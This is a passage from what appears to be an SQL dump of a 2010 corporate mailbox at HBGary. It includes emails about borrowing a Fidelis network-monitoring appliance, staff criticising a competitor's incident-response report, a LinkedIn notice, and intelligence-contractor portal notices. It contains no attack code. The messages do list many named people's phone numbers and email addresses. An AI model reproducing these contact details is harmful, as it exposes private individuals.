programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n           Tuesday,\r\nSeptember 21 \r\n           DHS\r\nEagle II\r\nSmall Business Breakfast\r\n        \r\n          \r\n        \r\n           Friday,\r\nOctober 15 \r\n           October\r\nLuncheon\r\nMG Steven Smith\r\n        \r\n          \r\n        \r\n           Tuesday,\r\nOctober 19 \r\n           Mil/Giov Career\r\nTransition Seminar &amp; Dinner \r\n        \r\n        \r\n          \r\n        \r\n           Thursday,\r\nOctober 21 \r\n           9th\r\nAnnual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n        \r\n          \r\n        \r\n           Friday,\r\nNovember 19 \r\n           November\r\nLuncheon\r\nUSMC Director C4/CIO \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1217,'aaron_hbgary_com/1217.html'),(11708,'2010-09-14','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008797.M365300P14101Q6563.eml','\"Aaron Barr\" <arasita@mac.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Another thought','Aaron,\r\nI\'ve got this all set up. My SE will loan you his Scout for awhile.\r\nSorry for the delay--this went to spam because of your sending address\r\nand I couldn\'t find it, although I had read it on my phone. Give me a\r\ncall today and we\'ll set up a handoff.\r\n\r\nMary Sullivan\r\nD 240-396-2446\r\nM 301-980-1308\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:arasita@mac.com] \r\nSent: Tuesday, September 07, 2010 10:07 PM\r\nTo: Sullivan, Mary\r\nSubject: Another thought\r\n\r\nAnyway we can get a scout box on loan.  I don\'t have a way to pay it\r\nright now but if we had one we could offer it on IR engagement, so sale\r\nopportunity, and as we develop rules on jobs we can give those rules\r\nback to you for free.  We have an engagement this week and one next\r\nweek, and another in a few weeks.\r\n\r\nCall me tomorrow.  This might be a good way to scratch both itches.\r\n\r\nThoughts?\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',3636,'aaron_hbgary_com/3636.html'),(11709,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008797.M562944P14101Q6564.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Another thought','Sent from my iPadBegin forwarded message:From: &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\nDate: September 14, 2010 6:33:24 AM MDTTo: &quot;Aaron Barr&quot; &lt;arasita@mac.com&gt;, &quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Another thoughtAaron,I&#39;ve got this all set up. My SE will loan you his Scout for awhile.Sorry for the delay--this went to spam because of your sending address\r\nand I couldn&#39;t find it, although I had read it on my phone. Give me acall today and we&#39;ll set up a handoff.Mary SullivanD 240-396-2446\r\nM 301-980-1308-----Original Message-----From: Aaron Barr [mailto:arasita@mac.com] Sent: Tuesday, September 07, 2010 10:07 PM\r\nTo: Sullivan, MarySubject: Another thoughtAnyway we can get a scout box on loan.  I don&#39;t have a way to pay itright now but if we had one we could offer it on IR engagement, so sale\r\nopportunity, and as we develop rules on jobs we can give those rulesback to you for free.  We have an engagement this week and one nextweek, and another in a few weeks.\r\nCall me tomorrow.  This might be a good way to scratch both itches.Thoughts?Aaron\r\n\r\n',1218,'aaron_hbgary_com/1218.html'),(11710,'2010-09-14','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008797.M781642P14101Q6565.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Carlos has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Carlos are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Carlos Vallejo \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Threat and Vulnerability Analyst at KCG\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Carlos\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          carlos.vallejo1@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Carlos\'s Connections (137) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Robert Graham\r\n                ,\r\n                  Senior Network Administartor at Northrop Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Brian Thompson\r\n                ,\r\n                  Network Engineer 3 at Northrop Grumman Mission Systems\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jennifer M Carlson, ITIL\r\n                ,\r\n                  Lead Business Systems Analyst at Tech-Pro\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Dennis &quot;Denny&quot; L\'Etoile, CISSP\r\n                ,\r\n                  Information Assurance Engineer, VSE CORP\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Carlos\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n            \r\n              \r\n                 \r\n                     SI International\r\n                    \r\n                      Carlos works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n            \r\n              \r\n                 \r\n                     Zen Technologies\r\n                    \r\n                      Carlos worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n            \r\n              \r\n                 \r\n                     CSC\r\n                    \r\n                      Carlos knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n            \r\n              \r\n                 \r\n                     Dell\r\n                    \r\n                      Carlos knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',3795,'aaron_hbgary_com/3795.html'),(11711,'2010-09-14','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008798.M31306P14101Q6566.eml','\"Aaron Barr\" <aaron@hbgary.com>','Are you available to talk?','\r\n\r\n\r\n\r\n\r\nAre you available to talk?\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',11902,'aaron_hbgary_com/11902.html'),(11712,'2010-09-14','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008798.M477031P14101Q6567.eml','dev@hbgary.com,dev@hbgary.com,,,,','Holy Crap!','I just reviewed our competitor&#39;s draft report for my current client.  From the report:&quot;“FDPro.exe” belongs toHBGary/DDNA. Analysis indicates that either the attackers became aware of the HBGARY software and took the specific action to remove the malware or, a concerted effort\r\nwas made to clean the enterprise with one of the DDNA tools that would have removedevidence as part of a process to remove malware.&quot;Really?  Really?..........Really?  That is your finding?  An advanced group of attackers with Admin access to a network for over a year decided that they would like to use HBGary tools to remove evidence?  That is intense.  I didn&#39;t even know fdpro.exe could secure delete hacker tools.  Sure.  Let me add to that stellar finding.  &quot;It is likely that the attackers reverse engineered HBGary&#39;s software, altered the source code, compiled, and then deployed the new agent to securely delete evidence&quot;.\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',4125,'aaron_hbgary_com/4125.html'),(11713,'2010-09-14','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008798.M803455P14101Q6568.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Belan, Michael\" <michael.belan@fidelissecurity.com>','Scout loaner for pickup Thursday-Friday?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMike,\r\n\r\nThanks for loaning your Scout to HB Gary Federal. I think\r\nthis will benefit us all.\r\n\r\n&nbsp;\r\n\r\nCan you bring it in to the office so that Aaron can pick it\r\nup by Thursday? And maybe upgrade it to current, and include a recovery CD?\r\nWill you ping me/Aaron when it&#8217;s ready, so he doesn&#8217;t make a trip\r\nfrom VA for no reason?\r\n\r\n&nbsp;\r\n\r\nHB Gary Federal engineers are going to take it into the\r\nfield on incident response engagements. Mike, are you interested in going with\r\nthem on the first one, to show them how to write Fidelis policy for what they\r\nwant to find?\r\n\r\n&nbsp;\r\n\r\nThose policies will make their way back to us (sanitized)&nbsp;\r\nas well.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security Systems,\r\nInc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1917,'aaron_hbgary_com/1917.html'),(11714,'2010-09-14','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008799.M519551P14101Q6570.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,','Re: Holy Crap!','That statement is loaded with a ton of bias and lacks supporting facts.  Terremark again shows why they are a poor choice for a service provider.  The malware being deleted from the system could have been triggered by the net admins taking down the infected systems; thus alerting the attacker to their knowledge of their presence.  Why don&#39;t they recommend firing the QNA IT staff next?\r\n\r\nOn Tue, Sep 14, 2010 at 8:17 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI just reviewed our competitor&#39;s draft report for my current client.  From the report:&quot;“FDPro.exe” belongs to\r\nHBGary/DDNA. Analysis indicates that either the attackers became aware of the HBGARY software and took the specific action to remove the malware or, a concerted effortwas made to clean the enterprise with one of the DDNA tools that would have removed\r\nevidence as part of a process to remove malware.&quot;Really?  Really?..........Really?  That is your finding?  An advanced group of attackers with Admin access to a network for over a year decided that they would like to use HBGary tools to remove evidence?  That is intense.  I didn&#39;t even know fdpro.exe could secure delete hacker tools.  Sure.  Let me add to that stellar finding.  &quot;It is likely that the attackers reverse engineered HBGary&#39;s software, altered the source code, compiled, and then deployed the new agent to securely delete evidence&quot;.\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',4288,'aaron_hbgary_com/4288.html'),(11715,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008799.M852410P14101Q6571.eml','federal@hbgary.com','NGA / RDAS RFI submission extension','\r\nThe Request For Information (RFI) submission date has been extended for NGA-RDAS. Please check the effort\'s website for updated information.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2695,'aaron_hbgary_com/2695.html'),(11716,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008799.M99883P14101Q6569.eml','federal@hbgary.com','NGA / RDAS Announcement Posting','\r\nAn announcement has been posted on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { 